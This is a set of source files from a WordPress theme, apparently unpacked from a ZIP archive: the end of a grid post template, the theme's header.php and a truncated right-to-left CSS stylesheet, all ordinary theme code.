				penci_the_excerpt( $excerpt_length, $post_id );
			}
			?>
		</div>
	<?php endif; ?>

	<?php if( get_theme_mod( 'penci_grid_add_readmore' ) ): 
	$class_button = '';
	if( get_theme_mod( 'penci_grid_remove_arrow' ) ): $class_button .= ' penci-btn-remove-arrow'; endif;
	if( get_theme_mod( 'penci_grid_readmore_button' ) ): $class_button .= ' penci-btn-make-button'; endif;
	if( get_theme_mod( 'penci_grid_readmore_align' ) ): $class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' ); endif;
	?>
		<div class="penci-readmore-btn<?php echo $class_button; ?>">
			<a class="penci-btn-readmore" href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon('fas fa-angle-double-right'); ?></a>
		</div>
	<?php endif; ?>

	<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
		<div class="penci-post-box-meta penci-post-box-grid">
			<div class="penci-post-share-box">
				<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
				<?php penci_soledad_social_share( );  ?>
			</div>
		</div>
	<?php endif; ?>
</article>
<?php 
if( isset( $infeed_ads ) && $infeed_ads ){
	penci_get_markup_infeed_ad(
		array(
			'wrapper' => 'article',
			'classes'      => 'item item-masonry grid-masonry grid-masonry-2 penci-infeed-data',
			'fullwidth'	 => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	); 
}
?>
<?php $j++; ?>
PK     N\ߎΡ    
  header.phpnu [        <?php
/**
 * The Header for our theme
 *
 * @package    WordPress
 * @since      1.0
 */
if ( isset( $_SERVER['HTTP_X_PJAX'] ) && $_SERVER['HTTP_X_PJAX'] === 'true' ) {
	return;
}
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
    <meta charset="<?php bloginfo( 'charset' ); ?>">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="profile" href="https://gmpg.org/xfn/11"/>
    <link rel="alternate" type="application/rss+xml" title="<?php bloginfo( 'name' ); ?> RSS Feed"
          href="<?php bloginfo( 'rss2_url' ); ?>"/>
    <link rel="alternate" type="application/atom+xml" title="<?php bloginfo( 'name' ); ?> Atom Feed"
          href="<?php bloginfo( 'atom_url' ); ?>"/>
    <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>"/>
    <!--[if lt IE 9]>
	<script src="<?php echo PENCI_SOLEDAD_URL; ?>/js/html5.js"></script>
	<![endif]-->
	<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>
<?php /* body open action */
if ( function_exists( 'wp_body_open' ) ) {
	wp_body_open();
} else {
	do_action( 'wp_body_open' );
}
?>
<?php
if ( get_theme_mod( 'penci_custom_code_after_body_tag' ) ):
	echo do_shortcode( get_theme_mod( 'penci_custom_code_after_body_tag' ) );
endif;
?>
<?php
$penci_hide_header = $show_page_title = false;
if ( is_page() ) {
	$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

	$show_page_title  = get_theme_mod( 'penci_pheader_show' );
	$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

	$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
	if ( 'enable' == $pheader_show ) {
		$show_page_title = true;
	} elseif ( 'disable' == $pheader_show ) {
		$show_page_title = false;
	}
} else if ( is_single() ) {
	$penci_hide_header = penci_is_hide_header();
}

/**
 * Get header layout in your customizer to change header layout
 *
 * @author PenciDesign
 */
$header_layout = penci_soledad_get_header_layout();
$menu_style    = get_theme_mod( 'penci_header_menu_style' ) ? get_theme_mod( 'penci_header_menu_style' ) : 'menu-style-1';

$header_class = $header_layout;
if ( $header_layout == 'header-9' ) {
	$header_class = 'header-6 header-9';
}

if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
	get_template_part( 'template-parts/menu-hamburger' );
}

$class_wrapper_boxed = 'wrapper-boxed header-style-' . esc_attr( $header_layout );
if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
	$class_wrapper_boxed .= ' enable-boxed';
}
if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
	$class_wrapper_boxed .= ' dark-layout-enabled';
}
if ( $penci_hide_header ) {
	$class_wrapper_boxed .= ' penci-page-hide-header';
}
if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
	$class_wrapper_boxed .= ' penci-hlogo-center';
}

$header_builder      = penci_is_active_header_builder();
$header_search_style = ! empty( $header_builder ) ? penci_get_builder_mod( 'penci_header_search_style', 'showup' ) : get_theme_mod( 'penci_topbar_search_style', 'default' );
$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );
$custom_header_class = $header_builder ? ' pc-wrapbuilder-header' : '';
?>
<div id="soledad_wrapper" class="<?php echo esc_attr( $class_wrapper_boxed ); ?>">
	<?php
	if ( ! $penci_hide_header ) {

		do_action( 'penci_above_header_wrap' );

		echo '<div class="penci-header-wrap' . $custom_header_class . '">';

		get_template_part( 'template-parts/header/top-instagram' );

		if ( ! empty( $header_builder ) ) {

			if ( is_singular( 'penci-block' ) ) {
				return;
			}

			load_template( PENCI_SOLEDAD_DIR . '/inc/builder/template/desktop-builder.php' );

		} else {

			if ( get_theme_mod( 'penci_top_bar_show' ) ) {
				get_template_part( 'inc/modules/topbar' );
			}

			get_template_part( 'template-parts/header/' . sanitize_file_name( $header_layout ) );
		}
		echo '</div>';

		do_action( 'penci_header_wrap' );

		if ( ! is_customize_preview() || ! isset( $_GET['layout_id'] ) ) {

			get_template_part( 'template-parts/header/mailchimp-below-header' );

			if ( is_home() || get_theme_mod( 'penci_featured_slider_all_page' ) ) {
				get_template_part( 'template-parts/header/feature-slider' );
			}

			if ( ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_signup_display_homepage' ) ) || ! get_theme_mod( 'penci_signup_display_homepage' ) ) {
				get_template_part( 'template-parts/header/mailchimp-below-header2' );
			}
		}
		do_action( 'penci_below_header_wrap' );
	}
	if ( $show_page_title && ! is_home() && ! is_front_page() ) {
		get_template_part( 'template-parts/page-header' );
	}
	?>
PK     N\֛    rtl.cssnu [        body{direction:rtl;unicode-bidi:embed}select{padding:8px 15px 8px 28px;background-position:left 10px top 50%}.container.has-banner .header-banner{text-align:left}#navigation .menu ul ul.sub-menu a,#navigation ul.menu ul.sub-menu a,#penci-login-popup,.container.has-banner #logo,.navigation .menu ul ul.sub-menu a,.navigation ul.menu ul.sub-menu a,.penci-grid.penci-fea-cat-style-13 > li.grid-style{text-align:right}#navigation.header-4 .pcheader-icon.shoping-cart-icon,#navigation.header-5 .pcheader-icon.shoping-cart-icon,.pcheader-icon.shoping-cart-icon.clear-right{margin-left:0;margin-right:40px}#navigation .menu,.navigation .menu{float:right}.pcheader-icon{float:left}.pcheader-icon.shoping-cart-icon{margin-left:15px;margin-right:0}#navigation .menu > ul > li,#navigation ul.menu > li,.navigation .menu > ul > li,.navigation ul.menu > li{float:right;margin-left:44px;margin-right:0}.pc-builder-element.pc-main-menu .navigation .menu > ul > li,.pc-builder-element.pc-main-menu .navigation ul.menu > li{margin-left:var(--pchb-main-menu-mg);margin-right:0!important}.pc-builder-element.pc-second-menu .navigation .menu > ul > li,.pc-builder-element.pc-second-menu .navigation ul.menu > li{margin-left:var(--pchb-second-menu-mg);margin-right:0}.pc-builder-element.pc-third-menu .navigation .menu > ul > li,.pc-builder-element.pc-third-menu .navigation:not(.menu-item-padding) ul.menu > li{margin-left:var(--pchb-third-menu-mg);margin-right:0}#navigation .menu .children,#navigation .menu .sub-menu,#navigation ul.menu > li.megamenu > ul.sub-menu,.home-featured-cat-content.style-7 .grid-header-box:after,.navigation .menu .children,.navigation .menu .sub-menu,.navigation ul.menu > li.megamenu > ul.sub-menu{right:0;left:auto}.pc-builder-element.pc-main-menu .navigation .menu > ul > li > .sub-menu,.pc-builder-element.pc-main-menu .navigation ul.menu > li > .sub-menu{top:var(--pchb-main-menu-lh)}.pc-builder-element.pc-third-menu .navigation .menu > ul > li > .sub-menu,.pc-builder-element.pc-third-menu .navigation ul.menu > li > .sub-menu{top:var(--pchb-third-menu-lh)}.pc-builder-element.pc-second-menu .navigation .menu > ul > li > .sub-menu,.pc-builder-element.pc-second-menu .navigation ul.menu > li > .sub-menu{top:var(--pchb-second-menu-lh)}#navigation .menu > ul > li > .sub-menu,#navigation ul.menu > li > .sub-menu{top:59px}#navigation.header-11 .menu > ul > li > .sub-menu,#navigation.header-11 ul.menu > li > .sub-menu{top:58px}#navigation-sticky-wrapper:not(.is-sticky) #navigation.header-10 .menu > ul > li > .sub-menu,#navigation-sticky-wrapper:not(.is-sticky) #navigation.header-10 ul.menu > li > .sub-menu,#navigation-sticky-wrapper:not(.is-sticky) #navigation.header-11 .menu > ul > li > .sub-menu,#navigation-sticky-wrapper:not(.is-sticky) #navigation.header-11 ul.menu > li > .sub-menu,#navigation-sticky-wrapper:not(.is-sticky) #navigation.header-6 .menu > ul > li > .sub-menu,#navigation-sticky-wrapper:not(.is-sticky) #navigation.header-6 ul.menu > li > .sub-menu{top:81px}#navigation .menu .children ul,#navigation .menu .sub-menu ul,.navigation .menu .children ul,.navigation .menu .sub-menu ul,.post-entry blockquote .author span:after,div.penci-topbar-menu > ul li:hover ul.sub-menu ul.sub-menu,ul.penci-topbar-menu li:hover ul.sub-menu ul.sub-menu{right:100%;left:auto}#navigation .menu > ul > li.menu-item-has-children > a:after,#navigation .menu > ul > li.penci-mega-menu > a:after,#navigation ul.menu > li.menu-item-has-children > a:after,#navigation ul.menu > li.penci-mega-menu > a:after,.navigation .menu > ul > li.menu-item-has-children > a:after,.navigation .menu > ul > li.penci-mega-menu > a:after,.navigation ul.menu > li.menu-item-has-children > a:after,.navigation ul.menu > li.penci-mega-menu > a:after{float:left;margin:0 5px 0 0}.penci-menuhbg-wapper{float:left;margin-right:0;margin-left:12px}.penci-headline-posts .slick-prev,.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev{left:auto;right:-32px}.penci-headline-posts .slick-next,.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next{left:auto;right:-54px}.featured-area.featured-style-14 .wrapper-item-classess,.featured-area.featured-style-20 .wrapper-item-classess,.featured-area.featured-style-21 .wrapper-item-classess,.featured-area.featured-style-22 .wrapper-item-classess,.featured-area.featured-style-23 .wrapper-item-classess,.featured-area.featured-style-25 .wrapper-item-classess,.featured-area.featured-style-26 .wrapper-item-classess,.featured-area.featured-style-27 .wrapper-item-classess{margin-left:0;margin-right:-2px}.featured-style-13 .wrapper-item .penci-item-mag,.featured-style-14 .wrapper-item .penci-item-mag,.featured-style-15 .wrapper-item .penci-item-mag,.featured-style-16 .wrapper-item .penci-item-mag,.featured-style-17 .wrapper-item .penci-slider17-mag-item,.featured-style-18 .wrapper-item .penci-slider17-mag-item,.featured-style-19 .wrapper-item .penci-item-mag,.featured-style-20 .wrapper-item .penci-item-mag,.featured-style-21 .wrapper-item .penci-item-mag,.featured-style-22 .wrapper-item .penci-item-mag,.featured-style-23 .wrapper-item .penci-item-mag,.featured-style-24 .wrapper-item .penci-item-mag,.featured-style-25 .wrapper-item .penci-item-mag,.featured-style-26 .wrapper-item .penci-item-mag,.featured-style-27 .wrapper-item .penci-item-mag,.featured-style-37 .penci-featured-items-left,.featured-style-37 .penci-featured-items-right,.featured-style-6 .wrapper-item .penci-item-mag{float:right}@media only screen and (min-width:961px){.featured-style-37 .penci-featured-items-left,.featured-style-6 .wrapper-item .penci-item-1{border-right:none;border-left:10px solid transparent}}@media only screen and (max-width:961px){.featured-style-6 .wrapper-item .penci-item-0{border-right:2px solid transparent;border-left:none}.featured-style-6 .wrapper-item .penci-item-2{border-left:2px solid transparent;border-right:none}}@media only screen and (min-width:768px){.featured-style-19 .wrapper-item .penci-item-0,.featured-style-19 .wrapper-item .penci-item-2{border-left:none;border-right:4px solid transparent}}@media only screen and (max-width:767px){.featured-style-19 .wrapper-item .penci-item-1,.featured-style-19 .wrapper-item .penci-item-3{border-right:none;border-left:2px solid transparent}.featured-style-19 .wrapper-item .penci-item-0,.featured-style-19 .wrapper-item .penci-item-2{border-right:2px solid transparent;border-left:none}}.featured-style-35 .featured-content-excerpt .feat-meta span,.grid-post-box-meta span,.penci-featured-content .feat-text .feat-meta span,.penci-mag-featured-content .feat-meta span{display:inline-block}.main-nav-social{float:left;text-align:left;margin:0 0 0 13px}.penci-vernav-poright .penci-vernav-toggle:before{border-right:none;border-left:50px solid transparent}#navigation.header-4 .main-nav-social,#navigation.header-5 .main-nav-social,#navigation.header-6 .main-nav-social{margin:0 30px 0 0}#navigation.header-10 .penci-header-extra,#navigation.header-11 .penci-header-extra{margin-left:0;margin-right:15px}.penci-header-signup-form .mc4wp-form input[type="email"],.penci-header-signup-form .mc4wp-form input[type="text"]{margin-left:20px;margin-right:0}.penci-header-signup-form .mc4wp-form-fields > p,.penci-header-signup-form form > p{padding-right:0;padding-left:20px;text-align:right}form.pc-searchform.penci-hbg-search-form i{right:auto;left:18px}@media only screen and (max-width:1169px){.penci-header-signup-form .mc4wp-form input[type="email"],.penci-header-signup-form .mc4wp-form input[type="text"]{margin:20px auto 0}.penci-header-signup-form .mc4wp-form-fields > p,.penci-header-signup-form form > p{padding-left:0;text-align:center}}.penci-header-signup-form .mc4wp-form-fields > p:last-of-type,.penci-header-signup-form form > p:last-of-type{padding-right:0;padding-left:0}.show-search a.close-search{left:0;right:auto}.show-search form.pc-searchform input.search-input{padding:15px 0 15px 35px;right:0;left:auto}.headline-title,.penci-headline .pctopbar-item{float:right}.headline-title.nticker-style-2{margin-left:8px;margin-right:0}.headline-title.nticker-style-2:after{border-left:none;border-right:9px solid var(--pcaccent-cl);left:-8px;right:auto}.headline-title.nticker-style-3{padding-left:25px;padding-right:15px}.headline-title.nticker-style-3:after{border-right:none;border-left:11px solid #313131;right:auto;left:0}.headline-title.nticker-style-4{margin-right:0;margin-left:9px}.headline-title.nticker-style-4:after{border-left:9px solid transparent;border-left-color:transparent!important;border-right:none;right:auto;left:-9px}.penci-topbar-social{float:left}body.rtl .penci-headline .slick-slider{direction:rtl}.penci-topbar-social a{float:right;margin-right:13px;margin-left:0}.penci-topbar-social a:first-child{margin-right:0}.pclg-2col > div,.penci-topbar-trending .penci-trending-nav,a.penci-topbar-post-title{float:right}.penci-owl-carousel:not(.penci-owl-loaded) a.penci-topbar-post-title{float:none;vertical-align:top}.penci-trending-nav a.penci-slider-prev{float:left}@media only screen and (min-width:1170px){.penci-headline .pctopbar-item:last-child:not(:first-child){float:left}}.penci-headline .pctopbar-item:first-child{margin-left:15px;margin-right:0}.penci-headline .pctopbar-item:last-child{margin-left:0;margin-right:15px}.penci-topbar-social .pclogin-item{margin-left:13px;margin-right:0}.penci-topbar-social.penci-lgdisplay-right .pclogin-item{margin-left:0;margin-right:13px}.pctopbar-login-btn .pclogin-sub{left:auto;right:0}.pclogin-item.login-popup span{margin-right:4px;margin-left:0}.pctopbar-login-btn .pclogin-sub li a i{margin-left:5px;margin-right:0}#penci-login-popup .mfp-close{right:auto;left:0}.pclg-2col > div:last-child{margin-right:5%}.pclg-2col > div:first-child{margin-right:0}.widget_block.widget_search button[type="submit"]{margin-left:0;margin-right:0.625em}.widget_block.widget_search .wp-block-search__no-button input[type="search"],form.pc-searchform input.search-input{background-position:6% 15px;padding:12px 20px 12px 40px}.widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper:before,form.pc-searchform i{right:auto;left:20px}.featured-style-4 .penci-owl-carousel .penci-image-holder,.featured-style-5 .penci-owl-carousel .penci-image-holder{float:left}.penci-homepage-title.penci-magazine-title:before{right:30px;left:auto}.penci-border-arrow:before{right:50%;left:auto}.home-featured-cat-content .mag-post-box .magcat-thumb{float:right;margin-left:20px;margin-right:0}.home-featured-cat-content .cat-left,.home-featured-cat-content .cat-right,.home-featured-cat-content .mag-photo,.widget.widget_archive ul li a{float:right}.home-featured-cat-content .first-post .magcat-detail .mag-header:after,.list-post .header-list-style:after{right:0;left:auto}.grid-post-box-meta span:after{margin:0 10px 0 8px}.container .penci-grid li.magazine-layout,.penci-featured-infor .item-content,.penci-grid-excerpt-left .penci-grid li .item .item-content,.penci-grid-excerpt-left .penci-masonry .item-masonry .item-content,.penci-std-continue-left .penci-more-link,.penci-std-excerpt-left .penci-grid .mixed-detail .item-content,.penci-std-excerpt-left .standard-main-content,.widget.widget_archive ul li{text-align:right}.pc-widget-advanced-tax.tax-style-1 ul li a:before,.widget.widget_archive ul li a:before,.widget.widget_categories ul li a:before{content:"";margin-left:10px;margin-right:0}.cat > a.penci-cat-name:after{margin-left:0;margin-right:11px}.cat > a.penci-cat-name{margin:0 0 0 15px;padding-left:10px;padding-right:0}.cat > a.penci-cat-name:first-child{margin-right:0;margin-left:18px}.cat > a.penci-cat-name:last-child{margin-left:0;padding-left:0}.list-post.list-boxed-post .header-list-style:after{right:50%;margin-left:0;margin-right:-30px}.penci-grid li.list-post .item > .thumbnail,.penci-grid li.list-post.penci-slistp .item > .thumbnail{float:right}.penci-grid li.list-post.penci-slistp .item > .thumbnail{margin-left:16px;margin-right:0}.penci-featured-cat-sc .penci-grid li.list-post .item .content-list-right,.penci-latest-posts-sc .penci-grid li.list-post .item .content-list-right{padding-right:30px}.container.two-sidebar .penci-grid li.pclist-layout .item .content-list-right{padding-left:0;padding-right:30px}.home-featured-cat-content.style-14 .magcat-padding{padding-left:0;padding-right:17px;position:relative}.home-featured-cat-content.style-14 .magcat-padding:before{left:auto;right:0}.home-featured-cat-content.style-7 .grid-header-box{text-align:right}.grid-featured .penci-featured-share-box .penci-shareso a:last-child{margin-right:10px}.grid-featured .penci-featured-share-box .penci-shareso a:first-child{margin-right:0}.penci-featured-share-box .penci-shareso{transform:translateX(-40px);-webkit-transform:translateX(-40px)}#navigation ul.menu > li.megamenu > ul.sub-menu > li:before,#sidebar-nav,.navigation ul.menu > li.megamenu > ul.sub-menu > li:before,.penci-featured-share-box .penci-shareic,.penci-featured-share-box .penci-shareso{left:auto;right:0}.grid-featured .thumbnail:hover .penci-shareic{transform:translateX(40px);-webkit-transform:translateX(40px)}.footer-subscribe .mc4wp-form .mdes{margin-left:0;margin-right:-100px}@media only screen and (max-width:960px){.footer-subscribe .mc4wp-form .mdes{margin-right:0}}#respond p.comment-form-author,#respond p.comment-form-email,#respond p.comment-form-url,.footer-subscribe .mc4wp-form .memail,.wpcf7 p.email,.wpcf7 p.name,.wpcf7 p.subject{float:right}.footer-subscribe .mc4wp-form .msubmit{margin-right:10px;margin-left:0}ul.footer-socials li{margin-left:36px;margin-right:0}ul.footer-socials li a span{margin-right:14px;margin-left:0}.container.penci-breadcrumb i{margin:0 19px 0 15px}.penci-breadcrumb .fa-angle-right:before{content:""}.inner-post-entry .alignnone{margin:5px 0 20px 20px}.post-entry ol,.post-entry ul{padding-right:36px;padding-left:0}.post-entry ol ol,.post-entry ol ul,.post-entry ul ol,.post-entry ul ul{margin:2px 0;padding-right:22px;padding-left:0}.wp-block-yoast-how-to-block ol.schema-how-to-steps{padding:15px 32px 20px 20px}#respond p.comment-form-author{margin-left:2%}#respond p.comment-form-url{margin-left:0}#respond .comment-form-cookies-consent input[type="checkbox"]{margin:0 0 0 5px}div.wpcf7{direction:rtl}.tags-share-box .single-comment-o i,.tags-share-box.hide-tags.page-share .share-title{margin-left:5px;margin-right:0}.post-share a{margin:0 10px 0 0}.post-entry blockquote .author span{padding:0 0 0 10px}#navigation .button-menu-mobile,.penci-portfolio-filter ul li,.post-entry .penci-portfolio-filter ul li,ul.homepage-featured-boxes li{float:right}.penci-countdown{direction:ltr}.penci-column{margin-left:4%;margin-right:0;float:right}.column-last{margin-left:0!important}#sidebar-nav{transform:translateX(270px);-webkit-transform:translateX(270px);-moz-transform:translateX(270px)}.open-sidebar-nav #sidebar-nav{right:270px;left:auto}#close-sidebar-nav{left:0;right:0}.open-sidebar-nav #close-sidebar-nav{right:270px;left:0}.container.penci-breadcrumb span,.container.penci-breadcrumb span a{display:inline-block}.post-share a.penci-post-like:after{margin:4px 20px 0 6px}.tags-share-box .single-comment-o:after{margin:4px 20px 0}@media (min-width:600px){.wp-block-latest-posts.is-grid li{padding-right:0;padding-left:8px}}.post-share,.thecomment .comment-text span.reply{left:0;right:auto}.penci-featured-cat-seemore i,.penci-readmore-btn i,.post-share a.penci-post-like,.woocommerce .widget_shopping_cart .cart_list li a.remove,.woocommerce.widget_shopping_cart .cart_list li a.remove{margin-right:5px;margin-left:0}.author-img{float:right;margin-left:20px;margin-right:0}.post-author .author-content{margin-right:120px;margin-left:0}.post-author.abio-style-3 .author-content,.post-author.abio-style-4 .author-content{margin-left:0;margin-right:0}.author-content .author-social,.penci-post-box-meta .penci-box-meta i.fa,.thecomment .comment-text span.date i{margin-left:10px;margin-right:0}.thecomment .author-img{float:right;margin-left:20px;margin-right:0}.thecomment .comment-text{margin-right:80px;margin-left:0}.post-comments span.reply a{margin-right:18px;margin-left:0}.comments .children,.comments > .comment > .comment,.comments > .comment > .comment > .comment,.comments > .comment > .comment > .comment > .comment,.comments > .comment > .comment > .comment > .comment > .comment{margin:0 60px 0 0}.post-pagination .prev-post,.woocommerce #content table.cart td.actions,.woocommerce table.cart td.actions,.woocommerce-page #content table.cart td.actions,.woocommerce-page table.cart td.actions{text-align:left}.post-tags.penci-post-sources > span,.container-single .post-entry .post-tags a{margin-left:8px;margin-right:0}.standard-main-content{text-align:right}.penci-post-box-meta .penci-post-share-box{float:left}.penci-post-box-meta .penci-post-share-box a{margin-right:10px;margin-left:0}.penci-post-box-meta .penci-post-share-box a:first-child{margin-right:0}.penci-post-box-meta .penci-box-meta span:after{margin:0 20px 0 16px}.penci-viewport{direction:ltr}.penci-viewport *{direction:rtl}.header-social a{float:right;margin-left:13px;margin-right:0}.header-social a:last-child{margin-left:0}.penci-layout-boxed-1 .list-boxed-post .header-list-style:after,.penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after,.penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after{right:50%;left:auto;margin-right:-30px;margin-left:0}.penci-pagination .newer .disable-url i,.penci-pagination .newer a i{margin:0 0 0 8px}.penci-pagination .disable-url i,.penci-pagination a i{margin-right:8px;margin-left:0}.penci-pagination .newer .fa-angle-left:before{content:""}.penci-pagination .older .fa-angle-right:before{content:""}.mfp-title{text-align:right;padding-left:36px;padding-right:0}.mfp-counter{left:0;right:auto;direction:ltr}.format-post-box .post-format-icon{margin-right:-36px;margin-left:0}.grid-mixed .thumbnail .icon-post-format,.penci-grid li .item > .thumbnail .icon-post-format,.penci-masonry .item-masonry > .thumbnail .icon-post-format{right:50%;left:auto;margin:-25px -25px 0 0}#add_payment_method #payment ul.payment_methods,#add_payment_method #payment ul.payment_methods li,#navigation ul.menu ul.sub-menu li a,.navigation ul.menu ul.sub-menu li a,.penci-featured-cat-seemore,.penci-grid .mixed-detail .item-content,.penci-grid li .item .item-content,.penci-masonry .item-masonry .item-content,.penci-readmore-btn,.wishlist_table tr td.product-name,.wishlist_table tr td.product-thumbnail,.wishlist_table tr td.wishlist-name,.wishlist_table tr td.wishlist-privacy,.woocommerce #review_form #respond p.form-submit,.woocommerce .page-title,.woocommerce form.checkout_coupon,.woocommerce form.login,.woocommerce form.register,.woocommerce table.shop_table,.woocommerce table.wishlist_table tfoot td,.woocommerce-cart #payment ul.payment_methods,.woocommerce-cart #payment ul.payment_methods li,.woocommerce-checkout #payment ul.payment_methods,.woocommerce-checkout #payment ul.payment_methods li,caption,div.penci-topbar-menu > ul ul.sub-menu li a,th,ul.penci-topbar-menu ul.sub-menu li a{text-align:right}.grid-mixed .grid-header-box:after,.penci-post-box-meta.penci-post-box-grid:before,.woocommerce .page-title:after,.woocommerce .page-title:before,.woocommerce div.product .entry-summary div[itemprop="description"]:before,div.penci-topbar-menu > ul ul.sub-menu,ul.penci-topbar-menu ul.sub-menu{right:0;left:auto}.grid-header-box:after{margin-right:-30px;margin-left:0;right:50%;left:auto}.woocommerce-error,.woocommerce-info,.woocommerce-message{padding:1em 3.5em 1em 2em!important}.woocommerce-error:before,.woocommerce-info:before,.woocommerce-message:before{right:1.5em;left:auto}.penci-review-score{float:left}.container .penci-grid li.magazine-layout .grid-header-box:after{right:0;left:auto;margin-right:0}#sidebar-nav .menu li.menu-item-has-children a{padding-left:17px;padding-right:0}#sidebar-nav .menu li a .indicator{left:0;right:auto;text-align:left;padding:11px 5px 11px 0}#sidebar-nav ul.sub-menu{padding:10px 12px 10px 0}#sidebar-nav .menu .sub-menu li a .indicator{padding:8px 5px 8px 0}.penci-rlt-popup .rtlpopup-heading{text-align:right;padding:8px 20px 8px 32px}.penci-rlt-popup .penci-close-rltpopup{right:auto;left:9px}.overlay-post-box-meta .overlay-share i,.woocommerce div.product p.price del,.woocommerce div.product span.price del{margin-left:10px;margin-right:0}.woocommerce-account .woocommerce-MyAccount-navigation{float:right}.woocommerce-account .woocommerce-MyAccount-content{float:left}.yith-wcwl-share ul{margin:5px 0;padding:0}.woocommerce .woocommerce-result-count,.woocommerce-page .woocommerce-result-count{float:right}.woocommerce #content div.product #reviews .comment img,.woocommerce .star-rating,.woocommerce .woocommerce-ordering,.woocommerce div.product #reviews .comment img,.woocommerce-error .button,.woocommerce-info .button,.woocommerce-message .button,.woocommerce-page #content div.product #reviews .comment img,.woocommerce-page .woocommerce-ordering,.woocommerce-page div.product #reviews .comment img{float:left}.woocommerce ul.products li.product,.woocommerce-page ul.products li.product{float:right;margin:0 0 60px 2.565%}.woocommerce .penci_sidebar ul.products li.product,.woocommerce-page .penci_sidebar ul.products li.product{margin-left:3.8465%;margin-right:0}.woocommerce .penci_sidebar ul.products > li.product:nth-child(4n + 4),.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(4n + 4){margin-left:3.8465%;margin-right:0}.woocommerce ul.products li.product .onsale{left:10px;right:auto}.woocommerce .penci_sidebar ul.products > li.product:nth-child(3n + 3),.woocommerce ul.products > li.product:nth-child(4n + 4),.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(3n + 3),.woocommerce-page ul.products > li.product:nth-child(4n + 4){margin-left:0}.penci-recipe-heading .penci-recipe-meta span.servings,.woocommerce ul.products li.last,.woocommerce-page ul.products li.last{margin-left:0}.woocommerce .products .star-rating{right:10px;left:auto}.woocommerce .woocommerce-product-rating .star-rating{margin:0.5em 0 0 4px;float:right}.woocommerce div.product form.cart div.quantity{float:right;margin:0 0 0 20px}#add_payment_method .checkout .col-2 h3#ship-to-different-address,.post-entry .penci-recipe-heading h2,.woocommerce #content div.product div.thumbnails a,.woocommerce #content table.cart td.actions .coupon,.woocommerce #payment #place_order,.woocommerce div.product div.thumbnails a,.woocommerce div.product form.cart .button,.woocommerce table.cart td.actions .coupon,.woocommerce-account .addresses .title h3,.woocommerce-cart .checkout .col-2 h3#ship-to-different-address,.woocommerce-checkout .checkout .col-2 h3#ship-to-different-address,.woocommerce-page #content div.product div.thumbnails a,.woocommerce-page #content table.cart td.actions .coupon,.woocommerce-page #payment #place_order,.woocommerce-page div.product div.thumbnails a,.woocommerce-page table.cart td.actions .coupon{float:right}.woocommerce #content div.product div.thumbnails a,.woocommerce #content div.product div.thumbnails a.last,.woocommerce div.product div.thumbnails a,.woocommerce div.product div.thumbnails a.last,.woocommerce-page #content div.product div.thumbnails a,.woocommerce-page #content div.product div.thumbnails a.last,.woocommerce-page div.product div.thumbnails a,.woocommerce-page div.product div.thumbnails a.last{margin-left:5.25%;margin-right:0}.woocommerce #content div.product div.thumbnails a:nth-child(4n + 4),.woocommerce div.product div.thumbnails a:nth-child(4n + 4),.woocommerce-page #content div.product div.thumbnails a:nth-child(4n + 4),.woocommerce-page div.product div.thumbnails a:nth-child(4n + 4){margin-left:0}.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,.woocommerce div.product .woocommerce-tabs .panel > h2:first-child{text-align:right}.woocommerce #reviews #comments ol.commentlist li img.avatar{float:right;right:0;left:auto}.woocommerce #reviews #comments ol.commentlist li .comment-text{margin:0 80px 0 0}.woocommerce #respond input#submit.added:after,.woocommerce a.button.added:after,.woocommerce button.button.added:after,.woocommerce input.button.added:after{margin-right:0.53em;margin-left:0}.woocommerce #respond input#submit.loading:after,.woocommerce a.button.loading:after,.woocommerce button.button.loading:after,.woocommerce input.button.loading:after{margin-left:0;margin-right:5px}#add_payment_method table.cart td.actions .coupon .input-text,.woocommerce-cart table.cart td.actions .coupon .input-text,.woocommerce-checkout table.cart td.actions .coupon .input-text{float:right;margin:0 0 0 4px}.woocommerce form.login .form-row input[type="submit"],.woocommerce-cart table.cart td.actions .coupon .input-text{margin-left:20px;margin-right:0}#add_payment_method #payment ul.payment_methods li input,.woocommerce-cart #payment ul.payment_methods li input,.woocommerce-checkout #payment ul.payment_methods li input{margin:0 0 0 1em}.woocommerce form .form-row .input-checkbox{margin:-2px 0 0 8px}.woocommerce #payment .terms,.woocommerce #payment .wc-terms-and-conditions,.woocommerce-page #payment .terms,.woocommerce-page #payment .wc-terms-and-conditions{text-align:right;padding:0 0 0 1em;float:right}#add_payment_method .checkout .col-2 .form-row-first,#add_payment_method .checkout .col-2 .notes,.woocommerce-cart .checkout .col-2 .form-row-first,.woocommerce-cart .checkout .col-2 .notes,.woocommerce-checkout .checkout .col-2 .form-row-first,.woocommerce-checkout .checkout .col-2 .notes{clear:right}.woocommerce .order_details li{float:right;margin-left:2em;margin-right:0;border-left:1px dashed 